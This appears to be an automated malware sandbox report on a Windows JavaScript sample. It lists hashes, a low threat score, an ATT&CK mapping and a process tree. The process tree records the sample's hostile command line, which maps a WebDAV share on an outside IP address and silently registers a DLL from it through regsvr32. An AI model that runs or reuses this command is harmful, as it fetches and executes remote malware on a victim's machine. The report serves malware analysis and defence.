4ca5ffa9a6a1cf527e027693d7b7b9c9f0aadde0db80665ceb42f395a800fabb

Analysis

max time kernel
117s
max time network
124s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 02:03

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General

Target

4ca5ffa9a6a1cf527e027693d7b7b9c9f0aadde0db80665ceb42f395a800fabb.js
Size

3KB
MD5

ddd8c6180a09e4f9337efa434ccbcbcd
SHA1

ebd0961e8b94ad71160c600e0ae663d015b01574
SHA256

4ca5ffa9a6a1cf527e027693d7b7b9c9f0aadde0db80665ceb42f395a800fabb
SHA512

f03857fa0d1e0f1c5a4f160bfc1a23023994a453eeb2b2d1ab7eb1951c210ab7b0e1bc2ed3531c8a4d560911869a8e03aa4debdef0302c0513e8df57e0ad517f

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1952 wrote to memory of 1980	1952	wscript.exe	30
PID 1952 wrote to memory of 1980	1952	wscript.exe	30
PID 1952 wrote to memory of 1980	1952	wscript.exe	30
PID 1980 wrote to memory of 2760	1980	cmd.exe	32
PID 1980 wrote to memory of 2760	1980	cmd.exe	32
PID 1980 wrote to memory of 2760	1980	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4ca5ffa9a6a1cf527e027693d7b7b9c9f0aadde0db80665ceb42f395a800fabb.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\92451529317231.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\system32\net.exe
    net use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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